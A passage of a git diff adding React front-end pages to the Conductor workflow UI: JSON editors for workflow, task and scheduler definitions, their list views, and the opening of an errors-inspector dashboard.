err); + const errObj = JSON.parse(err); + let errStr = + errObj.validationErrors && errObj.validationErrors.length > 0 + ? `${errObj.validationErrors[0].message}: ${errObj.validationErrors[0].path}` + : errObj.message; + setErrorMsg(`${WORKFLOW_SAVE_FAILED} ${errStr}`); + }, + }); + + const handleSave = () => { + saveWorkflow({ body: modified.obj, isNew: modified.isNew }); + }; + + const diffEditorDidMount = (editor) => { + diffMonacoRef.current = editor; + }; + + return ( + onCancel()} + TransitionProps={{ + onEnter: () => setUseAutoVersion(true), + }} + > + setErrorMsg(null)} + anchorOrigin={{ vertical: "top", horizontal: "center" }} + transitionDuration={{ exit: 0 }} + > + setErrorMsg(null)} severity="error"> + {errorMsg} + + + + {isLoading && } + + + + Saving{" "} + + {_.get(modified, "obj.name")} + + + + {modified.isNew && } + +
      + setUseAutoVersion(e.target.checked)} + disabled={modified.isClash} + /> + } + label="Automatically set version" + /> + + +
      +       + + {document && ( + + )} +       + ); +} diff --git a/ui/src/pages/definition/SchedulerDefinition.jsx b/ui/src/pages/definition/SchedulerDefinition.jsx new file mode 100644 index 0000000..cb79454 --- /dev/null +++ b/ui/src/pages/definition/SchedulerDefinition.jsx @@ -0,0 +1,179 @@ +import React, { useMemo, useRef, useState } from "react"; +import { useRouteMatch } from "react-router-dom"; +import { makeStyles } from "@material-ui/styles"; +import { Helmet } from "react-helmet"; +import { Button, LinearProgress, Pill, Text } from "../../components"; +import _ from "lodash"; +import Editor from "@monaco-editor/react"; +import { Toolbar } from "@material-ui/core"; +import { + configureMonaco, + NEW_SCHEDULER_TEMPLATE, +} from "../../schema/scheduler"; +import { useSchedulerDef } from "../../data/scheduler"; +import ResetConfirmationDialog from "./ResetConfirmationDialog"; +import { usePushHistory } from "../../components/NavLink"; +import SaveSchedulerDialog from "./SaveSchedulerDialog"; +import SchedulerDisabledBanner, { + isSchedulerDisabled, +} from "../../components/SchedulerDisabledBanner"; + +const useStyles = makeStyles({ + wrapper: { + display: "flex", + height: "100%", + alignItems: "stretch", + flexDirection: "column", + }, + name: { + fontWeight: "bold", + }, + rightButtons: { + display: "flex", + flexGrow: 1, + justifyContent: "flex-end", + gap: 8, + }, +}); + +export default function SchedulerDefinition() { + const classes = useStyles(); + const match = useRouteMatch(); + const navigate = usePushHistory(); + + const [isModified, setIsModified] = useState(false); + const [jsonErrors, setJsonErrors] = useState([]); + const [resetDialog, setResetDialog] = useState(false); + const [saveDialog, setSaveDialog] = useState(null); + + const editorRef = useRef(); + const schedulerName = _.get(match, "params.name"); + + const { + data: schedulerDef, + isFetching, + error, + refetch, + } = useSchedulerDef(schedulerName, NEW_SCHEDULER_TEMPLATE); + + const schedulerJson = useMemo( + () => (schedulerDef ? JSON.stringify(schedulerDef, null, 2) : ""), + [schedulerDef] + ); + + const handleOpenSave = () => { + setSaveDialog({ + original: schedulerName ? schedulerJson : "", + originalObj: schedulerName ? schedulerDef : null, + modified: editorRef.current.getModel().getValue(), + }); + }; + + const handleSaveSuccess = (name) => { + setSaveDialog(null); + setIsModified(false); + + if (name === schedulerName) { + refetch(); + } else { + navigate(`/schedulerDef/${name}`); + } + }; + + const doReset = () => { + editorRef.current.getModel().setValue(schedulerJson); + setResetDialog(false); + setIsModified(false); + }; + + const handleEditorWillMount = (monaco) => { + configureMonaco(monaco); + }; + + const handleEditorDidMount = (editor) => { + editorRef.current = editor; + }; + + const handleValidate = (markers) => { + setJsonErrors(markers); + }; + + const handleChange = (v) => { + setIsModified(v !== schedulerJson); + }; + + return ( + <> + + + Conductor UI - Schedule Definition - {schedulerName || "New Schedule"} + + + + setSaveDialog(null)} + onSuccess={handleSaveSuccess} + /> + + setResetDialog(false)} + /> + + {isFetching && } + {isSchedulerDisabled(error) ? ( + + ) : ( +
      + + {schedulerName || "NEW"} + + {isModified ? ( + + ) : ( + + )} + {!_.isEmpty(jsonErrors) && } + +
      + + +
      +       + + +
      + )} + + ); +} diff --git a/ui/src/pages/definition/TaskDefinition.jsx b/ui/src/pages/definition/TaskDefinition.jsx new file mode 100644 index 0000000..df01f22 --- /dev/null +++ b/ui/src/pages/definition/TaskDefinition.jsx @@ -0,0 +1,169 @@ +import React, { useMemo, useRef, useState } from "react"; +import { Toolbar } from "@material-ui/core"; +import { useRouteMatch } from "react-router-dom"; +import { makeStyles } from "@material-ui/styles"; +import { Helmet } from "react-helmet"; +import _ from "lodash"; +import { LinearProgress, Pill, Text, Button } from "../../components"; +import Editor from "@monaco-editor/react"; +import { configureMonaco } from "../../schema/task"; +import { NEW_TASK_TEMPLATE } from "../../schema/task"; +import ResetConfirmationDialog from "./ResetConfirmationDialog"; +import SaveTaskDialog from "./SaveTaskDialog"; +import { useTask } from "../../data/task"; +import { usePushHistory } from "../../components/NavLink"; + +const useStyles = makeStyles({ + wrapper: { + display: "flex", + height: "100%", + alignItems: "stretch", + flexDirection: "column", + }, + name: { + fontWeight: "bold", + }, + rightButtons: { + display: "flex", + flexGrow: 1, + justifyContent: "flex-end", + gap: 8, + }, +}); + +export default function TaskDefinition() { + const classes = useStyles(); + const match = useRouteMatch(); + const navigate = usePushHistory(); + + const [isModified, setIsModified] = useState(false); + const [jsonErrors, setJsonErrors] = useState([]); + const [resetDialog, setResetDialog] = useState(false); + const [saveDialog, setSaveDialog] = useState(null); + + const editorRef = useRef(); + const taskName = _.get(match, "params.name"); + + const { + data: taskDef, + isFetching, + refetch, + } = useTask(taskName, NEW_TASK_TEMPLATE); + const taskJson = useMemo( + () => (taskDef ? JSON.stringify(taskDef, null, 2) : ""), + [taskDef] + ); + + // Save + const handleOpenSave = () => { + setSaveDialog({ + original: taskName ? taskJson : "", + originalObj: taskName ? taskDef : null, + modified: editorRef.current.getModel().getValue(), + }); + }; + + const handleSaveSuccess = (name) => { + setSaveDialog(null); + setIsModified(false); + + if (name === taskName) { + refetch(); + } else { + navigate(`/taskDef/${name}`); + } + }; + + // Reset + const doReset = () => { + editorRef.current.getModel().setValue(taskJson); + + setResetDialog(false); + setIsModified(false); + }; + + // Monaco Handlers + const handleEditorWillMount = (monaco) => { + configureMonaco(monaco); + }; + + const handleEditorDidMount = (editor) => { + editorRef.current = editor; + }; + + const handleValidate = (markers) => { + setJsonErrors(markers); + }; + + const handleChange = (v) => { + setIsModified(v !== taskJson); + }; + + return ( + <> + + Conductor UI - Task Definition - {taskName || "New Task"} + + + setSaveDialog(null)} + onSuccess={handleSaveSuccess} + /> + + setResetDialog(false)} + /> + + {isFetching && } +
      + + {taskName || "NEW"} + + {isModified ? ( + + ) : ( + + )} + {!_.isEmpty(jsonErrors) && } + +
      + + +
      +       + +
      + + ); +} diff --git a/ui/src/pages/definition/WorkflowDefinition.jsx b/ui/src/pages/definition/WorkflowDefinition.jsx new file mode 100644 index 0000000..8b92309 --- /dev/null +++ b/ui/src/pages/definition/WorkflowDefinition.jsx @@ -0,0 +1,414 @@ +import { useMemo, useReducer, useRef, useState } from "react"; +import ReactDOM from "react-dom"; +import { useRouteMatch } from "react-router-dom"; +import { Button, Text, Select, Pill, LinearProgress } from "../../components"; +import { IconButton, MenuItem, Toolbar, Tooltip } from "@material-ui/core"; +import { makeStyles } from "@material-ui/styles"; +import { Helmet } from "react-helmet"; +import _ from "lodash"; +import Editor from "@monaco-editor/react"; +import { useWorkflowDef, useWorkflowVersions } from "../../data/workflow"; +import ResetConfirmationDialog from "./ResetConfirmationDialog"; +import { + configureMonaco, + NEW_WORKFLOW_TEMPLATE, + JSON_FILE_NAME, +} from "../../schema/workflow"; +import SaveWorkflowDialog from "./SaveWorkflowDialog"; +import update from "immutability-helper"; +import { usePushHistory } from "../../components/NavLink"; +import { timestampRenderer } from "../../utils/helpers"; +import { WorkflowVisualizerJson } from "orkes-workflow-visualizer"; + +import { + KeyboardArrowLeftRounded, + KeyboardArrowRightRounded, +} from "@material-ui/icons"; +import { useFetchForWorkflowDefinition } from "../../utils/helperFunctions"; +import PanAndZoomWrapper from "../../components/diagram/PanAndZoomWrapper"; + +const minCodePanelWidth = 500; +const useStyles = makeStyles({ + wrapper: { + display: "flex", + height: "100%", + alignItems: "stretch", + }, + workflowCodePanel: (workflowDefState) => ({ + width: workflowDefState.toggleGraphPanel + ? workflowDefState.workflowCodePanelWidth + : "100%", + display: "flex", + flexFlow: "column", + }), + workflowGraph: (workflowDefState) => ({ + display: workflowDefState.toggleGraphPanel ? "block" : "none", + flexGrow: 1, + }), + resizer: (workflowDefState) => ({ + display: workflowDefState.toggleGraphPanel ? "block" : "none", + width: 8, + cursor: "col-resize", + backgroundColor: "rgb(45, 45, 45, 0.05)", + resize: "horizontal", + "&:hover": { + backgroundColor: "rgb(45, 45, 45, 0.3)", + }, + }), + workflowName: { + fontWeight: "bold", + }, + rightButtons: { + display: "flex", + flexGrow: 1, + justifyContent: "flex-end", + gap: 8, + }, + editorLineDecorator: { + backgroundColor: "rgb(45, 45, 45, 0.1)", + }, +}); + +const actions = { + NEW_SAVE_COMPLETE: 1, + SAVE_COMPLETE: 2, + CONFIRMATION_DIALOG_OPEN: 3, + CONFIRMATION_DIALOG_CLOSE: 4, + UPDATE_CODE_PANEL_WIDTH: 5, + UPDATE_MODIFIED: 6, + TOGGLE_GRAPH_PANEL: 7, + SAVE_COMPLETE_CLOSE: 8, + SAVE_CONFIRMATION_CLOSE: 9, + SAVE_CONFIRMATION_OPEN: 10, +}; + +function workflowDefStateReducer(state, action) { + switch (action.type) { + case actions.TOGGLE_GRAPH_PANEL: + return update(state, { + toggleGraphPanel: { + $set: !state.toggleGraphPanel, + }, + }); + case actions.UPDATE_CODE_PANEL_WIDTH: + return update(state, { + workflowCodePanelWidth: { + $set: `${action.newWidth}px`, + }, + }); + default: + return state; + } +} + +export default function Workflow() { + const match = useRouteMatch(); + const navigate = usePushHistory(); + const [saveDialog, setSaveDialog] = useState(null); + const [resetDialog, setResetDialog] = useState(false); // false=idle, undefined=current_version, otherwise version id + const [isModified, setIsModified] = useState(false); + const [jsonErrors, setJsonErrors] = useState([]); + const [decorations, setDecorations] = useState([]); + + const workflowName = _.get(match, "params.name"); + const workflowVersion = _.get(match, "params.version"); // undefined for latest + + const [workflowDefState, dispatch] = useReducer(workflowDefStateReducer, { + workflowCodePanelWidth: "50%", + toggleGraphPanel: true, + }); + const classes = useStyles(workflowDefState); + + // for PanAndZoomWrapper + const [layout, setLayout] = useState({ height: 0, width: 0 }); + + const handleSetLayout = (value) => { + setLayout((prevLayout) => { + if ( + prevLayout.width === value.width && + prevLayout.height === value.height + ) { + return prevLayout; + } + return value; + }); + }; + // + + const { + data: workflowDef, + isFetching, + refetch: refetchWorkflow, + } = useWorkflowDef(workflowName, workflowVersion, NEW_WORKFLOW_TEMPLATE); + + const { fetchForWorkflowDefinition, extractSubWorkflowNames } = + useFetchForWorkflowDefinition(); + + const workflowJson = useMemo( + () => (workflowDef ? JSON.stringify(workflowDef, null, 2) : ""), + [workflowDef] + ); + + const { data: versionsData, refetch: refetchVersions } = + useWorkflowVersions(workflowName); + const versions = useMemo(() => versionsData || [], [versionsData]); + + // Refs + const editorRef = useRef(); + const resizeRef = useRef(); + + // Resize Handle + const handleMouseDown = () => { + document.addEventListener("mouseup", handleMouseUp, true); + document.addEventListener("mousemove", handleMouseMove, true); + }; + + const handleMouseUp = () => { + document.removeEventListener("mouseup", handleMouseUp, true); + document.removeEventListener("mousemove", handleMouseMove, true); + }; + + const handleMouseMove = (e) => { + let boundingClientRect = ReactDOM.findDOMNode( + resizeRef.current + ).getBoundingClientRect(); + const newWidth = Math.max( + minCodePanelWidth, + e.clientX - boundingClientRect.x + ); + dispatch({ type: actions.UPDATE_CODE_PANEL_WIDTH, newWidth: newWidth }); + }; + + // Version Change or Reset + const handleResetVersion = (version) => { + if (isModified) { + setResetDialog(version); + } else { + changeVersionOrReset(version); + } + }; + + const changeVersionOrReset = (version) => { + if (version === workflowVersion) { + // Reset to fetched version + editorRef.current.getModel().setValue(workflowJson); + } else if (_.isUndefined(version)) { + navigate(`/workflowDef/${workflowName}`); + } else { + navigate(`/workflowDef/${workflowName}/${version}`); + } + + setResetDialog(false); + setIsModified(false); + }; + + // Saving + const handleOpenSave = () => { + const modified = editorRef.current.getValue(); + + setSaveDialog({ + original: workflowName ? workflowJson : "", + originalObj: workflowName ? workflowDef : null, + modified: modified, + }); + }; + + const handleSaveCancel = () => { + setSaveDialog(null); + }; + + const handleSaveSuccess = (name, version) => { + setSaveDialog(null); + setIsModified(false); + refetchVersions(); + + if (name === workflowName && version === workflowVersion) { + refetchWorkflow(); + } else { + navigate(`/workflowDef/${name}/${version}`); + } + }; + + // Monaco Handlers + const handleEditorWillMount = (monaco) => { + configureMonaco(monaco); + }; + + const handleEditorDidMount = (editor) => { + editorRef.current = editor; + }; + + const handleValidate = (markers) => { + setJsonErrors(markers); + }; + + const handleChange = (v) => { + setIsModified(v !== workflowJson); + }; + + const handleWorkflowNodeClick = (node) => { + let editor = editorRef.current.getModel(); + let searchResult = editor.findMatches(`"taskReferenceName": "${node.ref}"`); + if (searchResult.length) { + editorRef.current.revealLineInCenter( + searchResult[0]?.range?.startLineNumber, + 0 + ); + setDecorations( + editorRef.current.deltaDecorations(decorations, [ + { + range: searchResult[0]?.range, + options: { + isWholeLine: true, + inlineClassName: classes.editorLineDecorator, + }, + }, + ]) + ); + } + }; + + return ( + <> + + + Conductor UI - Workflow Definition - {workflowName || "New Workflow"} + + + + setResetDialog(false)} + /> + + + + {isFetching && } +
      +
      + + + {workflowName || "NEW"} + + + + + {isModified ? ( + + ) : ( + + )} + {!_.isEmpty(jsonErrors) && ( + +
      + +
      +       + )} + +
      + + + + dispatch({ type: actions.TOGGLE_GRAPH_PANEL })} + > + {workflowDefState.toggleGraphPanel && ( + + )} + {!workflowDefState.toggleGraphPanel && ( + + )} + +
      +       + +
      + handleMouseDown(e)} + /> + + {workflowDef && ( + + handleWorkflowNodeClick({ ref: data?.id })} + subWorkflowFetcher={async (workflowName, version) => + await fetchForWorkflowDefinition({ + workflowName: workflowName, + currentVersion: version, + collapseWorkflowList: extractSubWorkflowNames(workflowDef), + }) + } + handleLayoutChange={(value) => { + if (value != null && value.width != null) { + handleSetLayout(value); + } + }} + /> + + )} +
      + + ); +} +function versionTime(versionObj) { + return ( + versionObj && + timestampRenderer(versionObj.updateTime || versionObj.createTime) + ); +} diff --git a/ui/src/pages/definitions/EventHandler.jsx b/ui/src/pages/definitions/EventHandler.jsx new file mode 100644 index 0000000..4a2dc33 --- /dev/null +++ b/ui/src/pages/definitions/EventHandler.jsx @@ -0,0 +1,72 @@ +import React from "react"; +import { NavLink, DataTable, Button } from "../../components"; +import { makeStyles } from "@material-ui/styles"; +import Header from "./Header"; +import sharedStyles from "../styles"; +import { Helmet } from "react-helmet"; +import { useEventHandlers } from "../../data/misc"; +import AddIcon from "@material-ui/icons/Add"; + +const useStyles = makeStyles(sharedStyles); + +const columns = [ + { + name: "name", + renderer: (name, row) => ( + {name} + ), + }, + { + name: "event", + }, + { name: "active", renderer: (val) => (val ? "Yes" : "No") }, + { name: "condition" }, + { + name: "actions", + renderer: (val) => JSON.stringify(val.map((action) => action.action)), + }, +]; + +export default function EventHandlers() { + const classes = useStyles(); + + const { data: eventHandlers, isFetching } = useEventHandlers(); + + return ( +
      +
      + + Conductor UI - Event Handler Definitions + + +
      +
      + +
      + + {eventHandlers && ( + + )} +
      +
      + ); +} diff --git a/ui/src/pages/definitions/Header.jsx b/ui/src/pages/definitions/Header.jsx new file mode 100644 index 0000000..5fbd94b --- /dev/null +++ b/ui/src/pages/definitions/Header.jsx @@ -0,0 +1,31 @@ +import React from "react"; +import { Tab, Tabs, NavLink, LinearProgress, Heading } from "../../components"; +import { makeStyles } from "@material-ui/styles"; +import sharedStyles from "../styles"; + +const useStyles = makeStyles(sharedStyles); + +export default function Header({ tabIndex, loading }) { + const classes = useStyles(); + + return ( +
      + {loading && } +
      + + Definitions + + + + + + + +
      +
      + ); +} diff --git a/ui/src/pages/definitions/Scheduler.jsx b/ui/src/pages/definitions/Scheduler.jsx new file mode 100644 index 0000000..d23d7ae --- /dev/null +++ b/ui/src/pages/definitions/Scheduler.jsx @@ -0,0 +1,160 @@ +import React from "react"; +import { NavLink, DataTable, Button } from "../../components"; +import { makeStyles } from "@material-ui/styles"; +import Header from "./Header"; +import sharedStyles from "../styles"; +import { Helmet } from "react-helmet"; +import { + useSchedulerDefs, + useDeleteScheduler, + usePauseScheduler, + useResumeScheduler, +} from "../../data/scheduler"; +import { useQueryClient } from "react-query"; +import AddIcon from "@material-ui/icons/Add"; +import IconButton from "@material-ui/core/IconButton"; +import DeleteIcon from "@material-ui/icons/Delete"; +import PauseIcon from "@material-ui/icons/Pause"; +import PlayArrowIcon from "@material-ui/icons/PlayArrow"; +import SchedulerDisabledBanner, { + isSchedulerDisabled, +} from "../../components/SchedulerDisabledBanner"; + +const useStyles = makeStyles(sharedStyles); + +export default function SchedulerDefinitions() { + const classes = useStyles(); + const queryClient = useQueryClient(); + + const { data: schedules, isFetching, error } = useSchedulerDefs(); + + const invalidate = () => queryClient.invalidateQueries(["schedulerDefs"]); + + const { mutate: deleteSchedule } = useDeleteScheduler({ + onSuccess: invalidate, + }); + + const { mutate: pauseSchedule } = usePauseScheduler({ + onSuccess: invalidate, + }); + + const { mutate: resumeSchedule } = useResumeScheduler({ + onSuccess: invalidate, + }); + + const columns = [ + { + name: "name", + renderer: (name) => ( + {name} + ), + grow: 2, + }, + { + name: "cronExpression", + }, + { + name: "startWorkflowRequest", + renderer: (val) => (val ? val.name : ""), + label: "Workflow Name", + }, + { + name: "paused", + renderer: (val) => (val ? "Paused" : "Active"), + label: "Status", + }, + { + name: "zoneId", + label: "Timezone", + }, + { + id: "actions", + name: "name", + renderer: (name, row) => ( +
      + {row.paused ? ( + { + e.stopPropagation(); + resumeSchedule({ name }); + }} + > + + + ) : ( + { + e.stopPropagation(); + pauseSchedule({ name }); + }} + > + + + )} + { + e.stopPropagation(); + if (window.confirm(`Delete schedule "${name}"?`)) { + deleteSchedule({ name }); + } + }} + > + + +
      + ), + label: "Actions", + }, + ]; + + return ( +
      +
      + + Conductor UI - Scheduler Definitions + + +
      + {isSchedulerDisabled(error) ? ( + + ) : ( + <> +
      + +
      + + {schedules && ( + + )} + + )} +
      +
      + ); +} diff --git a/ui/src/pages/definitions/Task.jsx b/ui/src/pages/definitions/Task.jsx new file mode 100644 index 0000000..d543dbe --- /dev/null +++ b/ui/src/pages/definitions/Task.jsx @@ -0,0 +1,88 @@ +import React from "react"; +import { NavLink, DataTable, Button } from "../../components"; +import { makeStyles } from "@material-ui/styles"; +import Header from "./Header"; +import sharedStyles from "../styles"; +import { Helmet } from "react-helmet"; +import AddIcon from "@material-ui/icons/Add"; +import { useTaskDefs } from "../../data/task"; + +const useStyles = makeStyles(sharedStyles); + +const columns = [ + { + name: "name", + renderer: (name) => {name}, + }, + { name: "description", grow: 2 }, + { name: "createTime", type: "date" }, + { name: "ownerEmail" }, + { name: "inputKeys", type: "json", sortable: false }, + { name: "outputKeys", type: "json", sortable: false }, + { name: "timeoutPolicy", grow: 0.5 }, + { name: "timeoutSeconds", grow: 0.5 }, + { name: "retryCount", grow: 0.5 }, + { name: "retryLogic" }, + { name: "retryDelaySeconds", grow: 0.5 }, + { name: "responseTimeoutSeconds", grow: 0.5 }, + { name: "inputTemplate", type: "json", sortable: false }, + { name: "rateLimitPerFrequency", grow: 0.5 }, + { name: "rateLimitFrequencyInSeconds", grow: 0.5 }, + { + name: "name", + label: "Executions", + id: "executions_link", + grow: 0.5, + renderer: (name) => ( + + Query + + ), + sortable: false, + searchable: false, + }, + { name: "concurrentExecLimit" }, + { name: "pollTimeoutSeconds" }, +]; + +export default function TaskDefinitions() { + const classes = useStyles(); + const { data: tasks, isFetching } = useTaskDefs(); + + return ( +
      + + Conductor UI - Task Definitions + + +
      + +
      +
      + +
      + + {tasks && ( + + )} +
      +
      + ); +} diff --git a/ui/src/pages/definitions/Workflow.jsx b/ui/src/pages/definitions/Workflow.jsx new file mode 100644 index 0000000..99eeaa3 --- /dev/null +++ b/ui/src/pages/definitions/Workflow.jsx @@ -0,0 +1,148 @@ +import React, { useMemo } from "react"; +import { NavLink, DataTable, Button } from "../../components"; +import { makeStyles } from "@material-ui/styles"; +import _ from "lodash"; +import { useQueryState } from "react-router-use-location-state"; +import { useLatestWorkflowDefs } from "../../data/workflow"; +import Header from "./Header"; +import sharedStyles from "../styles"; +import { Helmet } from "react-helmet"; +import AddIcon from "@material-ui/icons/Add"; + +const useStyles = makeStyles(sharedStyles); + +const columns = [ + { + name: "name", + renderer: (val) => ( + {val.trim()} + ), + }, + { name: "description", grow: 2 }, + { name: "createTime", type: "date" }, + { name: "version", label: "Latest Version", grow: 0.5 }, + { name: "schemaVersion", grow: 0.5 }, + { name: "restartable", grow: 0.5 }, + { name: "workflowStatusListenerEnabled", grow: 0.5 }, + { name: "ownerEmail" }, + { name: "inputParameters", type: "json", sortable: false }, + { name: "outputParameters", type: "json", sortable: false }, + { name: "timeoutPolicy", grow: 0.5 }, + { name: "timeoutSeconds", grow: 0.5 }, + { + id: "task_types", + name: "tasks", + label: "Task Types", + searchable: "calculated", + sortable: false, + renderer: (val) => { + const taskTypeSet = new Set(); + for (let task of val) { + taskTypeSet.add(task.type); + } + return Array.from(taskTypeSet).join(", "); + }, + }, + { + id: "task_count", + name: "tasks", + label: "Tasks", + searchable: "calculated", + sortable: false, + grow: 0.5, + renderer: (val) => (_.isArray(val) ? val.length : 0), + }, + { + id: "executions_link", + name: "name", + label: "Executions", + sortable: false, + searchable: false, + grow: 0.5, + renderer: (name) => ( + + Query + + ), + }, +]; + +export default function WorkflowDefinitions() { + const classes = useStyles(); + + const { data, isFetching } = useLatestWorkflowDefs(); + + const [filterParam, setFilterParam] = useQueryState("filter", ""); + const filterObj = filterParam === "" ? undefined : JSON.parse(filterParam); + + const handleFilterChange = (obj) => { + if (obj) { + setFilterParam(JSON.stringify(obj)); + } else { + setFilterParam(""); + } + }; + + const workflows = useMemo(() => { + // Extract latest versions only + if (data) { + const unique = new Map(); + const types = new Set(); + for (let workflowDef of data) { + if (!unique.has(workflowDef.name)) { + unique.set(workflowDef.name, workflowDef); + } else if (unique.get(workflowDef.name).version < workflowDef.version) { + unique.set(workflowDef.name, workflowDef); + } + + for (let task of workflowDef.tasks) { + types.add(task.type); + } + } + + return Array.from(unique.values()); + } + }, [data]); + + return ( +
      + + Conductor UI - Workflow Definitions + +
      + +
      +
      + +
      + + {workflows && ( + + )} +
      +
      + ); +} diff --git a/ui/src/pages/errors/ErrorsInspector.jsx b/ui/src/pages/errors/ErrorsInspector.jsx new file mode 100644 index 0000000..62e82c0 --- /dev/null +++ b/ui/src/pages/errors/ErrorsInspector.jsx @@ -0,0 +1,912 @@ +import React, { + useState, + useEffect, + useRef, + useMemo, + useCallback, +} from "react"; + +import _ from "lodash"; +import { useWorkflowSearch } from "../../data/workflow"; +import { useWorkflowDefs } from "../../data/workflow"; +import ResultsTable from "../executions/ResultsTable"; +import SummaryCard from "./components/SummaryCard"; +import WorkflowTypeChart from "./components/WorkflowTypeChart"; +import StatusChart from "./components/StatusChart"; +import FailureReasonChart from "./components/FailureReasonChart"; +import TimeSeriesChart from "./components/TimeSeriesChart"; +import TimeRangeDropdown from "./components/TimeRangeDropdown"; +import LiveTailButton from "./components/LiveTailButton"; +import { + colors, + TIME_RANGE_OPTIONS, + styles, + cssStyles, +} from "./errorsInspectorStyles"; +import useWorkflowErrorGroups, { + filterWorkflowsByReason, +} from "./hooks/useWorkflowErrorGroups"; +import Notification from "./components/Notification"; + +const ErrorsInspector = () => { + const [data, setData] = useState(null); + const [filteredData, setFilteredData] = useState(null); + const [workflowTypeFilter] = useState("all"); + const [statusFilter, setStatusFilter] = useState("all"); + const [isLoading, setIsLoading] = useState(true); + const [metrics, setMetrics] = useState(null); + const [currentPage, setCurrentPage] = useState(1); + const [rowsPerPage, setRowsPerPage] = useState(15); + const [selectedWorkflowDefs, setSelectedWorkflowDefs] = useState([]); + const [sortField, setSortField] = useState("startTime"); + const [sortDirection, setSortDirection] = useState("desc"); + const [statusFilterFromChart, setStatusFilterFromChart] = useState(false); + const [selectedWorkflowType, setSelectedWorkflowType] = useState(null); + const [selectedTimePeriod, setSelectedTimePeriod] = useState(null); + const [autoRefreshEnabled, setAutoRefreshEnabled] = useState(false); + const [timeUntilRefresh, setTimeUntilRefresh] = useState(60); + const [refreshTrigger, setRefreshTrigger] = useState(0); + const [notification, setNotification] = useState(null); + const [selectedTimeRange, setSelectedTimeRange] = useState("24h"); // Default to 24 hours + const [selectedReasonForIncompletion, setSelectedReasonForIncompletion] = + useState(null); + const [reasonFilterFromChart, setReasonFilterFromChart] = useState(false); + + // Reference to store the interval ID for cleanup + const refreshIntervalRef = useRef(null); + + const { defs: workflowDefs, error: workflowDefsError } = useWorkflowDefs(); + + // Fallback for workflow definitions if the hook isn't working + const [fallbackDefs, setFallbackDefs] = useState([]); + + // Define calculateMetrics function before it's used in useEffect + const calculateMetrics = useCallback((workflows) => { + if (!workflows || workflows.length === 0) { + return { + workflowTypes: {}, + statusCounts: {}, + executionTimeByType: {}, + correlationIds: {}, + patientIds: {}, + totalExecutionTime: 0, + totalWorkflows: 0, + completedWorkflows: 0, + failedWorkflows: 0, + runningWorkflows: 0, + pausedWorkflows: 0, + terminatedWorkflows: 0, + timedOutWorkflows: 0, + reasonsForIncompletion: {}, + avgExecutionTime: 0, + }; + } + + const metrics = { + workflowTypes: {}, + statusCounts: {}, + executionTimeByType: {}, + correlationIds: {}, + reasonsForIncompletion: {}, + totalExecutionTime: 0, + totalWorkflows: workflows.length, + completedWorkflows: 0, + failedWorkflows: 0, + runningWorkflows: 0, + pausedWorkflows: 0, + terminatedWorkflows: 0, + timedOutWorkflows: 0, + avgExecutionTime: 0, + }; + + workflows.forEach((workflow) => { + // Count by workflow type + metrics.workflowTypes[workflow.workflowType] = + (metrics.workflowTypes[workflow.workflowType] || 0) + 1; + + // Count by status + metrics.statusCounts[workflow.status] = + (metrics.statusCounts[workflow.status] || 0) + 1; + + // Track completed vs failed vs running vs terminated vs timed out + if (workflow.status === "COMPLETED") { + metrics.completedWorkflows++; + } else if (workflow.status === "FAILED") { + metrics.failedWorkflows++; + } else if (workflow.status === "RUNNING") { + metrics.runningWorkflows++; + } else if (workflow.status === "PAUSED") { + metrics.pausedWorkflows++; + } else if (workflow.status === "TERMINATED") { + metrics.terminatedWorkflows++; + } else if (workflow.status === "TIMED_OUT") { + metrics.timedOutWorkflows++; + } + + // Track reasons for incompletion + if (workflow.reasonForIncompletion) { + metrics.reasonsForIncompletion[workflow.reasonForIncompletion] = + (metrics.reasonsForIncompletion[workflow.reasonForIncompletion] || + 0) + 1; + } + + // Sum execution times by type + if (!metrics.executionTimeByType[workflow.workflowType]) { + metrics.executionTimeByType[workflow.workflowType] = { + count: 0, + totalTime: 0, + avgTime: 0, + minTime: Infinity, + maxTime: 0, + }; + } + + const typeStats = metrics.executionTimeByType[workflow.workflowType]; + typeStats.count++; + typeStats.totalTime += workflow.executionTime; + typeStats.minTime = Math.min(typeStats.minTime, workflow.executionTime); + typeStats.maxTime = Math.max(typeStats.maxTime, workflow.executionTime); + typeStats.avgTime = typeStats.totalTime / typeStats.count; + + // Track total execution time + metrics.totalExecutionTime += workflow.executionTime; + + // Count by correlation ID + if (workflow.correlationId) { + metrics.correlationIds[workflow.correlationId] = + (metrics.correlationIds[workflow.correlationId] || 0) + 1; + } + }); + + // Calculate average execution time + metrics.avgExecutionTime = + metrics.totalExecutionTime / metrics.totalWorkflows; + + return metrics; + }, []); + + useEffect(() => { + // If workflowDefs is not an array or is empty, try to fetch directly + if (!Array.isArray(workflowDefs) || workflowDefs.length === 0) { + console.log("Fetching workflow definitions directly as fallback"); + + fetch("/api/metadata/workflow") + .then((response) => { + if (!response.ok) { + throw new Error(`HTTP error! Status: ${response.status}`); + } + return response.json(); + }) + .then((data) => { + console.log("Fallback workflow definitions:", data); + if (Array.isArray(data)) { + setFallbackDefs(data); + } + }) + .catch((error) => { + console.error("Error fetching fallback workflow definitions:", error); + }); + } + }, [workflowDefs]); + + // Use fallback definitions if the hook didn't provide valid data + const effectiveWorkflowDefs = + Array.isArray(workflowDefs) && workflowDefs.length > 0 + ? workflowDefs + : fallbackDefs; + + // Debug workflow definitions + useEffect(() => { + console.log("Workflow definitions:", workflowDefs); + }, [workflowDefs]); + + // Create a unique list of workflow definition names from effectiveWorkflowDefs + const uniqueWorkflowDefs = useMemo(() => { + if (!Array.isArray(effectiveWorkflowDefs)) return []; + + // Use a Set to get unique workflow names + const uniqueNames = new Set(); + const uniqueDefs = []; + + effectiveWorkflowDefs.forEach((def) => { + if (!uniqueNames.has(def.name)) { + uniqueNames.add(def.name); + uniqueDefs.push(def); + } + }); + + return uniqueDefs; + }, [effectiveWorkflowDefs]); + + // Initialize selectedWorkflowDefs with all unique workflow definitions when they load + useEffect(() => { + if (uniqueWorkflowDefs.length > 0 && selectedWorkflowDefs.length === 0) { + console.log("Setting initial workflow defs:", uniqueWorkflowDefs); + setSelectedWorkflowDefs(uniqueWorkflowDefs.map((def) => def.name)); + } + }, [uniqueWorkflowDefs, selectedWorkflowDefs.length]); + + // Handle workflow definitions fetch error + useEffect(() => { + if (workflowDefsError) { + console.error("Error fetching workflow definitions:", workflowDefsError); + setNotification({ + message: + "Failed to load workflow definitions. Some filtering options may be unavailable.", + type: "error", + timestamp: new Date(), + }); + + // Clear notification after 5 seconds + const timer = setTimeout(() => { + setNotification(null); + }, 5000); + + return () => clearTimeout(timer); + } + }, [workflowDefsError]); + + // Function to build the query string based on selected time range and workflow types + const buildQueryString = useCallback(() => { + let queryParts = []; + + // Always add time 